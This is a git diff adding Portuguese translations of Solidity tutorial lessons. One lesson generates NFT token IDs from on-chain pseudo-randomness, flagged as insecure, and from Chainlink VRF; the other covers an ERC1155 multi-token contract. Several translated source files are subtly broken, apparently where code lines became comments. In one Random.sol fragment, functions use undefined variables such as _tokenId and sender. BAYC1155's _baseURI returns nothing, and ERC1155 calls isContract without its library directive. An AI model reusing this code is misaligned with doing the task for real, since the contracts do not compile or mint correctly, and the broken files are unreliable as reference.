aleatoriedade na cadeia depende apenas do hash do bloco, do endereço do chamador e do tempo do bloco. + * Para aumentar a aleatoriedade, pode-se adicionar mais atributos, como nonce, mas isso não resolve fundamentalmente o problema de segurança. + */ + bytes32 randomBytes = keccak256(abi.encodePacked(blockhash(block.number-1), msg.sender, block.timestamp)); + return uint256(randomBytes); + } + + // Usando números pseudoaleatórios na cadeia para criar NFTs + function mintRandomOnchain() public { + // Usando números aleatórios na cadeia para gerar um tokenId + _mint(msg.sender, _tokenId); + } + + /** + * Chame a função VRF para obter um número aleatório e mintNFT + * Para chamar a função requestRandomness(), a lógica de consumo do número aleatório deve ser escrita na função de retorno fulfillRandomness() do VRF + * Antes de chamar, é necessário financiar Link suficiente na Subscriptions + */ + function mintRandomVRF() public { + // Chamar requestRandomness para obter um número aleatório + requestId = COORDINATOR.requestRandomWords( + keyHash, + subId, + requestConfirmations, + callbackGasLimit, + numWords + ); + requestToSender[requestId] = msg.sender; + } + + /** + * Função de retorno do VRF, chamada pelo Coordenador do VRF + * A lógica de consumo de números aleatórios é escrita nesta função + */ + function fulfillRandomWords(uint256 requestId, uint256[] memory s_randomWords) internal override{ + // Obter o endereço do usuário minter de requestToSender + // Usando o número aleatório retornado pelo VRF para gerar o tokenId + _mint(sender, tokenId); + } +} \ No newline at end of file diff --git a/Languages/pt-br/39_Random/RandomNumberConsumer.sol b/Languages/pt-br/39_Random/RandomNumberConsumer.sol new file mode 100644 index 000000000..dccc79bfd --- /dev/null +++ b/Languages/pt-br/39_Random/RandomNumberConsumer.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; + +contract RandomNumberConsumer is VRFConsumerBaseV2{ + + //A solicitação de um número aleatório requer a chamada da interface VRFCoordinatorV2Interface. + VRFCoordinatorV2Interface COORDINATOR; + + // ID de submissão após a aplicação + uint64 subId; + + // Armazenar o requestId e o número aleatório obtidos + uint256 public requestId; + uint256[] public randomWords; + + /** + * Usando o Chainlink VRF, o construtor precisa herdar de VRFConsumerBaseV2 + * Os parâmetros da cadeia são diferentes + * Você pode ver mais detalhes em: https://docs.chain.link/vrf/v2/subscription/supported-networks + * Rede: Testnet Sepolia + * Endereço do Chainlink VRF Coordinator: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625 + * Endereço do token LINK: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash de 30 gwei: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c + * Confirmações mínimas: 3 (quanto maior o número, maior a segurança, geralmente preencha com 12) + * Limite de gas callbackGasLimit: máximo de 2.500.000 + * Valores aleatórios máximos: 500 por vez + */ + address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + bytes32 keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + uint16 requestConfirmations = 3; + uint32 callbackGasLimit = 200_000; + uint32 numWords = 3; + + constructor(uint64 s_subId) VRFConsumerBaseV2(vrfCoordinator){ + COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); + subId = s_subId; + } + + /** + * Solicitar um número aleatório ao contrato VRF + */ + function requestRandomWords() external { + requestId = COORDINATOR.requestRandomWords( + keyHash, + subId, + requestConfirmations, + callbackGasLimit, + numWords + ); + } + + /** + * Função de retorno do contrato VRF, será chamada automaticamente após a validação do número aleatório + * A lógica de consumo do número aleatório deve ser escrita aqui + */ + function fulfillRandomWords(uint256 requestId, uint256[] memory s_randomWords) internal override { + randomWords = s_randomWords; + } + +} \ No newline at end of file diff --git a/Languages/pt-br/39_Random/img/39-1.png b/Languages/pt-br/39_Random/img/39-1.png new file mode 100644 index 000000000..1cf9aacf0 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-1.png differ diff --git a/Languages/pt-br/39_Random/img/39-10.png b/Languages/pt-br/39_Random/img/39-10.png new file mode 100644 index 000000000..3c60f9e29 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-10.png differ diff --git a/Languages/pt-br/39_Random/img/39-2.png b/Languages/pt-br/39_Random/img/39-2.png new file mode 100644 index 000000000..69e537a71 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-2.png differ diff --git a/Languages/pt-br/39_Random/img/39-3.png b/Languages/pt-br/39_Random/img/39-3.png new file mode 100644 index 000000000..dd94ef4e5 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-3.png differ diff --git a/Languages/pt-br/39_Random/img/39-4.png b/Languages/pt-br/39_Random/img/39-4.png new file mode 100644 index 000000000..d25cb2bf9 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-4.png differ diff --git a/Languages/pt-br/39_Random/img/39-5.png b/Languages/pt-br/39_Random/img/39-5.png new file mode 100644 index 000000000..65e366f43 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-5.png differ diff --git a/Languages/pt-br/39_Random/img/39-6-1.png b/Languages/pt-br/39_Random/img/39-6-1.png new file mode 100644 index 000000000..d40e6480c Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-6-1.png differ diff --git a/Languages/pt-br/39_Random/img/39-6.png b/Languages/pt-br/39_Random/img/39-6.png new file mode 100644 index 000000000..052ad4479 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-6.png differ diff --git a/Languages/pt-br/39_Random/img/39-7.png b/Languages/pt-br/39_Random/img/39-7.png new file mode 100644 index 000000000..1f4811db7 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-7.png differ diff --git a/Languages/pt-br/39_Random/img/39-8.png b/Languages/pt-br/39_Random/img/39-8.png new file mode 100644 index 000000000..25bdd1666 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-8.png differ diff --git a/Languages/pt-br/39_Random/img/39-9.png b/Languages/pt-br/39_Random/img/39-9.png new file mode 100644 index 000000000..8f1ebc9e1 Binary files /dev/null and b/Languages/pt-br/39_Random/img/39-9.png differ diff --git a/Languages/pt-br/39_Random/readme.md b/Languages/pt-br/39_Random/readme.md new file mode 100644 index 000000000..8a66a7e7b --- /dev/null +++ b/Languages/pt-br/39_Random/readme.md @@ -0,0 +1,323 @@ +--- +title: 39. Números Aleatórios na Cadeia +tags: + - solidity + - aplicação + - wtfacademy + - ERC721 + - aleatório + - chainlink +--- + +# WTF Introdução Simples ao Solidity: 39. Números Aleatórios na Cadeia + +Recentemente, estou revisitando o Solidity para consolidar alguns detalhes e estou escrevendo uma série "WTF Introdução Simples ao Solidity" para ser utilizada por iniciantes (programadores experientes podem procurar por tutoriais mais avançados), com novas lições semanais. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Muitos aplicativos na Ethereum precisam de números aleatórios, como sorteio de tokens em NFTs, aberturas de packs, jogos de luta em GameFi, entre outros. No entanto, devido ao fato de que todos os dados na Ethereum são públicos e determinísticos, não há uma maneira direta de gerar números aleatórios como em outras linguagens de programação. Nesta lição, vamos abordar dois métodos de geração de números aleatórios na cadeia (usando funções de hash) e fora da cadeia (usando o oráculo Chainlink), e usá-los para criar um NFT com tokens ID aleatórios. + +## Geração de Números Aleatórios na Cadeia + +Podemos utilizar algumas variáveis globais na cadeia como sementes, e usar a função de hash `keccak256()` para obter um número pseudoaleatório. Isso ocorre porque as funções de hash possuem sensibilidade e uniformidade, permitindo a obtenção de resultados "aleatórios". A função `getRandomOnchain()` a seguir utiliza as variáveis globais `block.timestamp`, `msg.sender` e `blockhash(block.number-1)` como sementes para gerar o número aleatório: + +```solidity + /** + * Geração de números pseudorandômicos na cadeia + * Utiliza o keccak256() para combinar algumas variáveis globais/personalizadas na cadeia + * Retorna um tipo uint256 + */ + function getRandomOnchain() public view returns(uint256){ + // O remix apresentará um erro ao usar blockhash + bytes32 randomBytes = keccak256(abi.encodePacked(block.timestamp, msg.sender, blockhash(block.number-1))); + + return uint256(randomBytes); + } +``` + +**Atenção:** Este método não é seguro: +- Primeiramente, as variáveis `block.timestamp`, `msg.sender` e `blockhash(block.number-1)` são públicas, permitindo que os usuários prevejam o número aleatório gerado com essas sementes e escolham o número que desejam antes de realizar a transação. +- Em segundo lugar, os mineradores podem manipular o `blockhash` e o `block.timestamp`, resultando em um número aleatório que favoreça seus interesses. + +Apesar disso, esse método é o mais simples e rápido para gerar números aleatórios na cadeia, e muitos projetos o utilizam mesmo sendo inseguro, incluindo projetos conhecidos como `meebits` e `loots`. No entanto, esses projetos foram todos [atacados](https://forum.openzeppelin.com/t/understanding-the-meebits-exploit/8281): os atacantes puderam criar qualquer token NFT raro que desejavam, em vez de realizar um sorteio. + +## Geração de Números Aleatórios Fora da Cadeia + +Podemos gerar números aleatórios fora da cadeia e, em seguida, enviar esses números para a cadeia usando um oráculo, como o `Chainlink VRF`. O `Chainlink` fornece o serviço `VRF` (Função de Verificação Aleatória), no qual os desenvolvedores podem pagar com tokens `LINK` para obter números aleatórios. O `Chainlink VRF` tem duas versões, e a segunda versão requer registro no site oficial e pré-pagamento. Embora a segunda versão exija mais operações e gaste mais gás, após cancelar a assinatura, é possível reaver os LINKs restantes. Aqui, vamos apresentar a segunda versão do `Chainlink VRF`, conhecido como `Chainlink VRF V2`. + +### Passos para Utilizar o `Chainlink VRF` +![Chainlink VRF](./img/39-1.png) + +Vamos utilizar um contrato simples para demonstrar os passos para utilizar o `Chainlink VRF`. O contrato `RandomNumberConsumer` pode solicitar um número aleatório ao `VRF` e armazená-lo na variável de estado `randomWords`. + +**1. Inscrever-se e Transferir `LINK` para a `Subscription`** + +Registre-se no site do Chainlink VRF [aqui](https://vrf.chain.link/) e insira alguns detalhes (como e-mail e nome do projeto). Em seguida, transfira alguns tokens `LINK` para a `Subscription`. Os tokens `LINK` de teste podem ser obtidos do [LINK Faucet](https://faucets.chain.link/). + +**2. Contrato do Consumidor Herda de `VRFConsumerBaseV2`** + +Para usar o `VRF` e obter números aleatórios, o contrato deve herdar do contrato `VRFConsumerBaseV2` e inicializar o `VRFCoordinatorV2Interface` e o `Subscription Id` no construtor. + +**Atenção:** Os parâmetros podem variar de acordo com a rede. Consulte [aqui](https://docs.chain.link/vrf/v2/subscription/supported-networks) para obter informações. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; + +contract RandomNumberConsumer is VRFConsumerBaseV2{ + + // Need to call VRFCoordinatorV2Interface for generate a RandomNumber + VRFCoordinatorV2Interface COORDINATOR; + + // Define Subscription ID + uint64 subId; + + // Store requestId and randomWords + uint256 public requestId; + uint256[] public randomWords; + + /** + * Use Chainlink VRF, constructor needs to inherit from VRFConsumerBaseV2 + * Parameters vary by network + * See: https://docs.chain.link/vrf/v2/subscription/supported-networks + * Network: Sepolia Testnet + * Chainlink VRF Coordinator Address: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625 + * LINK Token Address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * 30 gwei Key Hash: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c + * Minimum Confirmations: 3 (Consider a higher number for more security, usually 12) + * Callback Gas Limit: Maximum 2,500,000 + * Maximum Random Values: 500 per request + */ + address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + bytes32 keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + uint16 requestConfirmations = 3; + uint32 callbackGasLimit = 200_000; + uint32 numWords = 3; + + constructor(uint64 s_subId) VRFConsumerBaseV2(vrfCoordinator){ + COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); + subId = s_subId; + } +``` + +**2. Consumidor do Contrato Solicita um Número Aleatório** + +Os usuários podem chamar a função `requestRandomWords` da interface do contrato `VRFCoordinatorV2Interface` para solicitar um número aleatório e receber um identificador de solicitação `requestId`. Esta solicitação será enviada para o contrato `VRF`. + +```solidity + /** + * Requesting a random number from VRF + */ + function requestRandomWords() external { + requestId = COORDINATOR.requestRandomWords( + keyHash, + subId, + requestConfirmations, + callbackGasLimit, + numWords + ); + } +``` + +**3. Geração do NFT com o Número Aleatório** + +Após a solicitação do número aleatório, o consumidor pode usar a função de hacheamento do número retornado no contrato `fulfillRandomWords` para realizar a lógica necessária (neste caso, a geração do NFT). + +```solidity + /** + * VRF Callback function, called when the random number is returned from VRF Coordinator + * Consume the random number logic here + */ + function fulfillRandomWords(uint256 requestId, uint256[] memory s_randomWords) internal override { + randomWords = s_randomWords; + } +``` + +## Mint de um NFT com Token ID Aleatório + +Nesta seção, vamos usar números aleatórios na cadeia e fora da cadeia para criar um NFT com tokens ID aleatórios. O contrato `Random` herda os contratos `ERC721` e `VRFConsumerBaseV2`. + +```Solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; +import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; + +contract Random is ERC721, VRFConsumerBaseV2{ +``` + +### Variáveis de Estado + +- Relacionadas ao NFT + - `totalSupply`: fornecimento total de NFTs. + - `ids`: array utilizado para calcular os tokens ID que podem ser criados, conforme a função `pickRandomUniqueId()`. + - `mintCount`: quantidade de tokens já criados. +- Relacionadas ao Chainlink VRF + - `COORDINATOR`: para chamar a interface `VRFCoordinatorV2Interface`. + - `vrfCoordinator`: endereço do contrato `VRF`. + - `keyHash`: identificação única do `VRF`. + - `requestConfirmations`: número de blocos de confirmação. + - `callbackGasLimit`: taxa para a transação `VRF`. + - `numWords`: quantidade de números aleatórios a solicitar. + - `subId`: ID da `Subscription`. + - `requestId`: identificador da solicitação. + - `requestToSender`: mapeamento do identificador de solicitação do `VRF` para o endereço do usuário solicitante. + +```solidity + // Variáveis relacionadas ao NFT + uint256 public totalSupply = 100; // Fornecimento total + uint256[100] public ids; // Utilizado para calcular os tokens ID que podem ser mintados + uint256 public mintCount; // Quantidade de tokens mintados + + // Parâmetros Chainlink VRF + + // VRFCoordinatorV2Interface + VRFCoordinatorV2Interface COORDINATOR; + + /** + * Usar Chainlink VRF, o construtor necessita herdar de VRFConsumerBaseV2 + * Parâmetros variam de acordo com a rede + * Consulte: https://docs.chain.link/vrf/v2/subscription/supported-networks + * Rede: Testnet de Sepolia + * Endereço do Chainlink VRF Coordinator: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625 + * Endereço do Token LINK: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Hash de Chave de 30 gwei: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c + * Mínimo de Confirmações: 3 (Considere um número maior para mais segurança, geralmente 12) + * Limite de Gás de Retorno de Chamada: Máximo de 2.500.000 + * Máximo de Valores Aleatórios: 500 por solicitação + */ + address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + bytes32 keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + uint16 requestConfirmations = 3; + uint32 callbackGasLimit = 1_000_000; + uint32 numWords = 1; + uint64 subId; + uint256 public requestId; + + // Mapear o endereço do usuário que solicita o VRF para o identificador de solicitação + mapping(uint256 => address) public requestToSender; +``` + +### Construtor +Inicializa as variáveis herdadas do contrato `VRFConsumerBaseV2` e `ERC721`. + +```solidity + constructor(uint64 s_subId) + VRFConsumerBaseV2(vrfCoordinator) + ERC721("WTF Random", "WTF"){ + COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); + subId = s_subId; + } +``` + +### Outras Funções +Além do construtor, o contrato define 5 outras funções. + +- `pickRandomUniqueId()`: recebe um número aleatório e retorna um token ID que pode ser mintado. +- `getRandomOnchain()`: obtém um número aleatório na cadeia (não seguro). +- `mintRandomOnchain()`: utiliza um número aleatório na cadeia para criar um NFT, chamando as funções `getRandomOnchain()` e `pickRandomUniqueId()`. +- `mintRandomVRF()`: solicita um número ao `Chainlink VRF` para criar um NFT. Como a lógica de consumo do número aleatório está na função de retorno `fulfillRandomWords()`, chamada pelo contrato `VRF`, e não pelo usuário, é necessário armazenar o endereço do usuário que solicitou o VRF no mapeamento `requestToSender`. +- `fulfillRandomWords()`: função de retorno do `VRF`, chamada automaticamente pelo contrato `VRF` após verificar a autenticidade do número aleatório, utilizada para criar o NFT. + +```solidity + /** + * Recebe um uint256 e retorna um token ID que pode ser mintado + */ + function pickRandomUniqueId(uint256 random) private returns (uint256 tokenId) { + uint256 len = totalSupply - mintCount++; // Calcula a quantidade de tokens disponíveis para mintar + require(len > 0, "mint close"); // Todos os tokens foram mintados + uint256 randomIndex = random % len; // Obtém o número aleatório na cadeia + + tokenId = ids[randomIndex] != 0 ? ids[randomIndex] : randomIndex; // Obtém o token ID + ids[randomIndex] = ids[len - 1] == 0 ? len - 1 : ids[len - 1]; // Atualiza a lista de tokens + ids[len - 1] = 0; // Remove o último elemento para economizar gás + } + + /** + * Gera um número aleatório na cadeia + * Utiliza blockhash(), msg.sender e block.timestamp + * Retorna um uint256 + */ + function getRandomOnchain() public view returns(uint256){ + bytes32 randomBytes = keccak256(abi.encodePacked(blockhash(block.number-1), msg.sender, block.timestamp)); + return uint256(randomBytes); + } + + // Mint de um NFT utilizando um número aleatório na cadeia + function mintRandomOnchain() public { + uint256 _tokenId = pickRandomUniqueId(getRandomOnchain()); // Gera um token ID usando um número aleatório na cadeia + _mint(msg.sender, _tokenId); + } + + /** + * Chama o VRF para obter um número aleatório e mintar um NFT + */ + function mintRandomVRF() public { + // Solicita um número aleatório ao VRF + requestId = COORDINATOR.requestRandomWords( + keyHash, + subId, + requestConfirmations, + callbackGasLimit, + numWords + ); + requestToSender[requestId] = msg.sender; + } + + /** + * Função de retorno do VRF, chamada pelo VRF Coordinator + */ + function fulfillRandomWords(uint256 requestId, uint256[] memory s_randomWords) internal override{ + address sender = requestToSender[requestId]; // Obtém o endereço do usuário que solicitou o VRF + uint256 tokenId = pickRandomUniqueId(s_randomWords[0]); // Gera um token ID utilizando o número aleatório retornado pelo VRF + _mint(sender, tokenId); + } +``` + +## Verificação no `remix` + +### 1. Solicitar `Subscription` no `Chainlink VRF` +![Solicitar Subscription](./img/39-2.png) + +### 2. Obter Tokens de Teste `LINK` e `ETH` na `Chainlink` Faucet +![Obter LINK e ETH na Testnet Sepolia](./img/39-3.png) + +### 3. Transferir `LINK` para a `Subscription` +![Transferir LINK para a Subscription](./img/39-4.png) + +### 4. Criar NFTs usando números aleatórios onchain + +Na interface do `remix`, clique na função laranja `mintRandomOnchain` no lado esquerdo ![mintOnchain](./img/39-5-1.png), em seguida, clique em confirmar na janela pop-up do `Metamask` para iniciar a transação de criação usando números aleatórios onchain. + +![Criar NFTs usando números aleatórios onchain](./img/39-5.png) + +### 5. Criar NFTs usando números aleatórios offchain do `Chainlink VRF` + +Da mesma forma, na interface do `remix`, clique na função laranja `mintRandomVRF` no lado esquerdo e clique em confirmar na janela pop-up da carteira little fox. A transação de criação de um `NFT` usando um número aleatório offchain do `Chainlink VRF` foi iniciada. + +Observação: ao usar o `VRF` para criar um `NFT`, a iniciação da transação e o sucesso da criação não estão no mesmo bloco. + +![Início da transação para criação usando VRF](./img/39-6.png) +![Sucesso da transação para criação usando VRF](./img/39-7.png) + +### 6. Verificar que o `NFT` foi criado + +Pelos screenshots acima, pode-se ver que neste exemplo, o `NFT` com `tokenId=87` foi criado aleatoriamente onchain, e o `NFT` com `tokenId=77` foi criado usando o `VRF`. + +## Conclusão + +Gerar um número aleatório em `Solidity` não é tão simples como em outras linguagens de programação. Neste tutorial, apresentamos dois métodos de geração de números aleatórios onchain (usando funções de hash) e offchain (oráculo `Chainlink`), e os usamos para criar um `NFT` com um `tokenId` atribuído aleatoriamente. Ambos os métodos têm suas vantagens e desvantagens: usar números aleatórios onchain é eficiente, mas inseguro, enquanto gerar números aleatórios offchain depende de serviços de oráculo de terceiros, o que é relativamente seguro, mas não tão fácil e econômico. As equipes de projeto devem escolher o método apropriado de acordo com suas necessidades específicas. + +Além desses métodos, existem outras organizações que estão tentando novas formas de RNG (Random Number Generation), como o [randao](https://github.com/randao/randao), que propõe fornecer um serviço de aleatoriedade verdadeiramente onchain em um padrão DAO. + diff --git a/Languages/pt-br/40_ERC1155/BAYC1155.sol b/Languages/pt-br/40_ERC1155/BAYC1155.sol new file mode 100644 index 000000000..4feeedfb7 --- /dev/null +++ b/Languages/pt-br/40_ERC1155/BAYC1155.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155{ + uint256 constant MAX_ID = 10000; + // Construtor + constructor() ERC1155("BAYC1155", "BAYC1155"){ + } + + //O baseURI do BAYC é ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + //QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + } + + // Função de construção + function mint(address to, uint256 id, uint256 amount) external { + // id não pode ser superior a 10.000 + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + // Função de fundição em lote + function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) external { + // id não pode ser superior a 10.000 + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } + +} \ No newline at end of file diff --git a/Languages/pt-br/40_ERC1155/ERC1155.sol b/Languages/pt-br/40_ERC1155/ERC1155.sol new file mode 100644 index 000000000..06e9fcff2 --- /dev/null +++ b/Languages/pt-br/40_ERC1155/ERC1155.sol @@ -0,0 +1,319 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "../34_ERC721/Address.sol"; +import "../34_ERC721/String.sol"; +import "../34_ERC721/IERC165.sol"; + +/** + * @dev Padrão ERC1155 para múltiplos tokens + * Veja https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + // Usando a biblioteca Address, use isContract para verificar se um endereço é um contrato + // Usando a biblioteca String + // Token nome + string public name; + // Token código + string public symbol; + // Mapeamento do ID do tipo de token para a conta do usuário para o saldo das contas + mapping(uint256 => mapping(address => uint256)) private _balances; + // Mapeamento de autorização em lote do endereço do remetente (address) para o endereço do operador (operator) e se está autorizado (bool) + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Construtor, inicializa `name`, `symbol` e uri_ + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev Consulta de posição. Implementa o balanceOf do IERC1155, retornando a quantidade de tokens de cada tipo de id detidos pelo endereço da conta. + */ + function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { + require(account != address(0), "ERC1155: address zero is not a valid owner"); + return _balances[id][account]; + } + + /** + * @dev Consulta de posição em lote + * Requisitos: + * - Os arrays `accounts` e `ids` devem ter o mesmo tamanho. + */ + function balanceOfBatch(address[] memory accounts, uint256[] memory ids) + public view virtual override + returns (uint256[] memory) + { + require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev Autorizações em lote, o chamador autoriza o operador a usar todos os seus tokens + * Emite o evento {ApprovalForAll} + * Condição: msg.sender != operador + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(msg.sender != operator, "ERC1155: setting approval status for self"); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev Consultar autorizações em lote. + */ + function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev Transferência segura, transfere `amount` unidades do token de categoria `id` de `from` para `to`. + * Emite o evento {TransferSingle}. + * Requisitos: + * - to não pode ser um endereço 0. + * - from deve possuir saldo suficiente e o chamador deve ter autorização. + * - Se to for um contrato inteligente, ele deve suportar IERC1155Receiver-onERC1155Received. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // O chamador é o proprietário ou está autorizado + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + // O endereço de origem tem saldo suficiente + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + // Atualizar volume de posições + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + // Liberar evento + emit TransferSingle(operator, from, to, id, amount); + // Verificação de segurança + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev Transferência segura em lote, transfere tokens representados pelos elementos do array `ids` em quantidades representadas pelos elementos do array `amounts` da conta `from` para a conta `to`. + * Emite o evento {TransferSingle}. + * Requisitos: + * - `to` não pode ser o endereço 0. + * - `from` deve possuir saldo suficiente e o chamador deve estar autorizado. + * - Se `to` for um contrato inteligente, ele deve suportar a função `onERC1155BatchReceived` da interface IERC1155Receiver. + * - Os arrays `ids` e `amounts` devem ter o mesmo tamanho. + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // O chamador é o proprietário ou está autorizado + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + require(to != address(0), "ERC1155: transfer to the zero address"); + + // Atualizando a posição através de um loop for + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + // Verificação de segurança + _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); + } + + /** + * @dev Cunhar + * Disparar o evento {TransferSingle}. + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); + } + + /** + * @dev Cunhagem em lote + * Dispara o evento {TransferBatch}. + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); + } + + /** + * @dev Destruir + */ + function _burn( + address from, + uint256 id, + uint256 amount + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev Destruir em massa + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // @dev Verificação de transferência segura do ERC1155 + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.isContract()) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155Receiver implementer"); + } + } + } + + // @dev Verificação de transferência segura em lote para ERC1155 + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.isContract()) { + 